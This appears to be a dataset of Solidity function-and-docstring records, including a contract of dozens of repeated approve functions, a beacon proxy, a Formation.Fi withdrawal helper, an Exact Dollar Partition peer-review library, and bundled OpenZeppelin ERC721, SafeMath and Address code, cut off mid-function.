_approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_847(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_848(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_849(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_850(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_851(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_852(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_853(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_854(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_855(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_856(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_857(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_858(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_859(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_860(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_861(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_862(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_863(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_864(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_865(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_866(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_867(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_868(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_869(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_870(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_871(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_872(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_873(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_874(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_875(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_876(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_877(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_878(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_879(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_880(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_881(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_882(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_883(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_884(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_885(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_886(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_887(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_888(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_889(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_890(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_891(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_892(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_893(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_894(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_895(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_896(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_897(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_898(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_899(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_900(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_901(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } }
TODO: should increase instead
function approve_846(address spender, uint value) public returns (bool ok) { _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; }
6,454,559
./full_match/43113/0xfC81ee63Bb94b48D3022387710e7e91F42d5584C/sources/apps/avai/src/contracts/overrides/BankBeaconProxy.sol
Returns the current implementation address of the associated beacon./
function _implementation() internal view virtual override returns (address) { return IBeacon(_beacon()).implementation(); }
7,161,290
./partial_match/1/0xC61b9439F9C3D74011b59fe8E28cE4fffB41D3B5/sources/InvestementBeta.sol
delete the user's withdrawal proof token data. this function is called when the user's withdrawal request is fully validated by the manager. _account The user's address./
function _deleteWithdrawalData(address _account) internal { require( _account!= address(0), "Formation.Fi: zero address" ); uint256 _index = pendingWithdrawPerAddress[_account].listPointer; address _lastUser = usersOnPendingWithdraw[usersOnPendingWithdraw.length -1]; usersOnPendingWithdraw[_index] = _lastUser ; pendingWithdrawPerAddress[_lastUser].listPointer = _index; usersOnPendingWithdraw.pop(); delete pendingWithdrawPerAddress[_account]; delete tokenIdPerAddress[_account]; }
3,702,150
// SPDX-License-Identifier: MIT pragma solidity >=0.4.18; pragma experimental ABIEncoderV2; import "contracts/ExactDollarPartition.sol"; import "contracts/Scores.sol"; /// @title Exact Dollar Partition map implementation /// @author Giovanni Rescinito /// @notice implements the map specific functions related to Exact Dollar Partition library ExactDollarPartitionMap { /// @notice checks if all users revealed their evaluations, otherwise sets them according to Exact Dollar Partition /// @param scoreMap data structure containing the scores /// @param partition zipped matrix of the clusters in which proposals are divided function finalizeScoreMap(Scores.ScoreMap storage scoreMap, uint[][] storage partition) external{ uint[][] memory part = Zipper.unzipMatrix(partition,16); uint l = partition.length; uint n = 0; for (uint i=0;i<l;i++){ n += part[i].length; } for (uint i=0;i<l;i++){ for (uint j=0;j<part[i].length;j++){ uint id = part[i][j]; Scores.Evaluation[] memory e = Scores.reviewsSubmitted(scoreMap, id); if (e.length == 0){ uint value = Utils.C/(n-part[i].length); for (uint k=0;k<l;k++){ if (i!=k){ for (uint x=0;x<part[k].length;x++){ Scores.setReview(scoreMap, id, part[k][x], value); } } } } } } } /// @notice normalize the scores received by a user when revealing and adds them to the corresponding data structure /// @param scoreMap data structure containing the scores /// @param index index of the agent who submitted the reviews /// @param assignments list of the works reviewed /// @param evaluations scores provided function addToScoreMap(Scores.ScoreMap storage scoreMap, uint index, uint[] calldata assignments, uint[] calldata evaluations) external{ uint sum = 0; for (uint j=0;j<assignments.length;j++){ sum += evaluations[j]; } if (sum != 0){ for (uint j=0;j<assignments.length;j++){ Scores.setReview(scoreMap, index, assignments[j], evaluations[j]*Utils.C/sum); } } } /// @notice executes the Exact Dollar Partition algorithm /// @param partition zipped matrix of the clusters in which proposals are divided /// @param scoreMap data structure containing the scores /// @param allocations dictionary containing the possible allocations found /// @param allocationRandomness random value used to draw an allocation from the possible ones /// @param k number of winners to select function exactDollarPartition(uint[][] storage partition, Scores.ScoreMap storage scoreMap, Allocations.Map storage allocations, uint allocationRandomness, uint k) external { uint[][] memory part = Zipper.unzipMatrix(partition,16); uint[] memory quotas = calculateQuotas(part, scoreMap, k); emit ExactDollarPartition.QuotasCalculated(quotas); ExactDollarPartition.randomizedAllocationFromQuotas(allocations, quotas); uint[] memory selectedAllocation = ExactDollarPartition.selectAllocation(allocations, allocationRandomness); emit ExactDollarPartition.AllocationSelected(selectedAllocation); Utils.Element[] memory winners = selectWinners(part, scoreMap, selectedAllocation); emit ExactDollarPartition.Winners(winners); } /// @notice calculates quotas for each cluster starting from scores received by users /// @param partition matrix of the clusters in which proposals are divided /// @param scoreMap data structure containing the scores /// @param k number of winners to select /// @return quotas calculated function calculateQuotas(uint[][] memory partition, Scores.ScoreMap storage scoreMap, uint k) view private returns (uint[] memory){ uint l = partition.length; uint n = 0; for (uint i=0;i<l;i++){ n+=partition[i].length; } uint[] memory quotas = new uint[](l); for (uint i=0; i<l; i++) { quotas[i] = 0; for (uint j=0; j<partition[i].length; j++){ Scores.Evaluation[] memory e = Scores.reviewsReceived(scoreMap, partition[i][j]); for (uint x = 0;x<e.length;x++){ quotas[i] += e[x].score; } } quotas[i] = quotas[i]*k/n; } return quotas; } /// @notice selects the winners from each cluster given the allocation selected /// @param partition matrix of the clusters in which proposals are divided /// @param scoreMap data structure containing the scores /// @param allocation number of winners to select from each cluster /// @return selection winners' id and score function selectWinners(uint[][] memory partition, Scores.ScoreMap storage scoreMap, uint[] memory allocation) view private returns (Utils.Element[] memory){ uint num = 0; for (uint i=0;i<allocation.length;i++){ num+=allocation[i]; } Utils.Element[] memory scoresSorted; Utils.Element[] memory winners = new Utils.Element[](num); uint[] memory scores; uint index; uint x = 0; for (uint i=0; i<partition.length; i++) { scores = new uint[](partition[i].length); for (uint j=0; j<partition[i].length; j++) { Scores.Evaluation[] memory evaluations = Scores.reviewsReceived(scoreMap, partition[i][j]); for (uint k=0; k<evaluations.length; k++) { scores[j] += evaluations[k].score; } } scoresSorted = Utils.sort(scores); index = partition[i].length - 1; for (uint j=0; j<allocation[i]; j++) { Utils.Element memory e = scoresSorted[index--]; winners[x++] = (Utils.Element(uint128(partition[i][e.id]), uint128(e.value))); } } return winners; } }
executes the Exact Dollar Partition algorithm partition zipped matrix of the clusters in which proposals are divided scoreMap data structure containing the scores allocations dictionary containing the possible allocations found allocationRandomness random value used to draw an allocation from the possible ones k number of winners to select
function exactDollarPartition(uint[][] storage partition, Scores.ScoreMap storage scoreMap, Allocations.Map storage allocations, uint allocationRandomness, uint k) external { uint[][] memory part = Zipper.unzipMatrix(partition,16); uint[] memory quotas = calculateQuotas(part, scoreMap, k); emit ExactDollarPartition.QuotasCalculated(quotas); ExactDollarPartition.randomizedAllocationFromQuotas(allocations, quotas); uint[] memory selectedAllocation = ExactDollarPartition.selectAllocation(allocations, allocationRandomness); emit ExactDollarPartition.AllocationSelected(selectedAllocation); Utils.Element[] memory winners = selectWinners(part, scoreMap, selectedAllocation); emit ExactDollarPartition.Winners(winners); }
12,605,872
/** *Submitted for verification at Etherscan.io on 2021-09-11 */ // SPDX-License-Identifier: MIT // GO TO LINE 1904 TO SEE WHERE THE MUSHROOM CONTRACT STARTS // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory 